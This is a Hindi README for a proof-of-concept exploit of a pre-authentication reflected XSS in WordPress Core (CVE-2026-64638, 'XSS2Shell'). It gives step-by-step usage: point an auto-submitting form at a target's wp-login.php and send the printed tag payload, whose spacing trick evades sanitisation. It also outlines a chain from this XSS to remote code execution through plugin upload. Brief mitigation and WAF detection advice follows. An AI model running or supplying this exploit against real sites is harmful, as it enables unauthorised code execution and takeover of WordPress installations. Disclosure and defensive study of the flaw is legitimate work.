XSS2Shell चेतावनी PoC (CVE-2026-64638)

WordPress प्री-ऑथ रिफ्लेक्टेड XSS प्रूफ ऑफ कॉन्सेप्ट

WordPress Core में CVE-2026-64638 (XSS2Shell) पार्सर-डिफरेंशियल XSS के लिए सिंगल-फ़ाइल HTML प्रूफ ऑफ कॉन्सेप्ट। एक क्राफ्टेड लॉगिन अनुरोध के माध्यम से WordPress ओरिजिन में बिना प्रमाणीकरण के JavaScript निष्पादन प्रदर्शित करता है।

---

भेद्यता जानकारी

• CVE: CVE-2026-64638 (XSS2Shell)
• प्रकार: प्री-ऑथ रिफ्लेक्टेड XSS (पार्सर डिफरेंशियल: strip_tags() बनाम wp_kses_post())
• एस्केलेशन: RCE तक चेन किया जा सकता है (DOM क्लोबरिंग → REST JSONP → SOME → Application Password → प्लगइन अपलोड)
• प्रभावित: WordPress 6.4 – 7.0.2 (व्यावहारिक रूप से शोषण योग्य सीमा)
• ठीक किया गया: WordPress 7.0.3 (4.7 तक के अनुरक्षित ब्रांच में बैकपोर्ट किया गया)

---

उपयोग

1. POC.html को टेक्स्ट एडिटर में खोलें।
2. फ़ॉर्म action में http://TARGET/wp-login.php को अपने टारगेट से बदलें।

<form id="poc" method="post" action="http://TARGET/wp-login.php">

3. फ़ाइल को ब्राउज़र में खोलें। फ़ॉर्म स्वतः सबमिट होता है; यदि टारगेट असुरक्षित है, तो WordPress ओरिजिन में एक confirm() (या alert()) पॉपअप दिखाई देता है।

PoC पेलोड

< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=confirm&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X

प्रत्येक < के बाद की स्पेस ही एक्सप्लॉइट है। इसके बिना, wp_strip_all_tags() सब कुछ हटा देता है।

---

आवश्यकताएँ

• एक असुरक्षित WordPress इंस्टॉलेशन (6.4 – 7.0.2, बिना पैच किया हुआ)
• JavaScript सक्षम वाला ब्राउज़र
• कोई टूलिंग निर्भरता नहीं (शुद्ध HTML)

---

पहचान / शमन

• WordPress 7.0.3 या पैच किए गए ब्रांच में अपग्रेड करें।
• पैचिंग के बाद सभी मौजूदा Application Passwords को रद्द/रोटेट करें।
• WAF/एज पर log फ़ील्ड में %3C + व्हाइटस्पेस पैटर्न ब्लॉक करें।
• POST /wp-login.php अनुरोधों पर निगरानी रखें जहाँ log में एन्कोडेड < हो।

---

संदर्भ

• pwn.ai — XSS2Shell: WordPress Preauth XSS to RCE Chain
• WordPress 7.0.3 Release
• Hadrian — CVE-2026-64638 analysis
• IONSEC — XSS2Shell technical analysis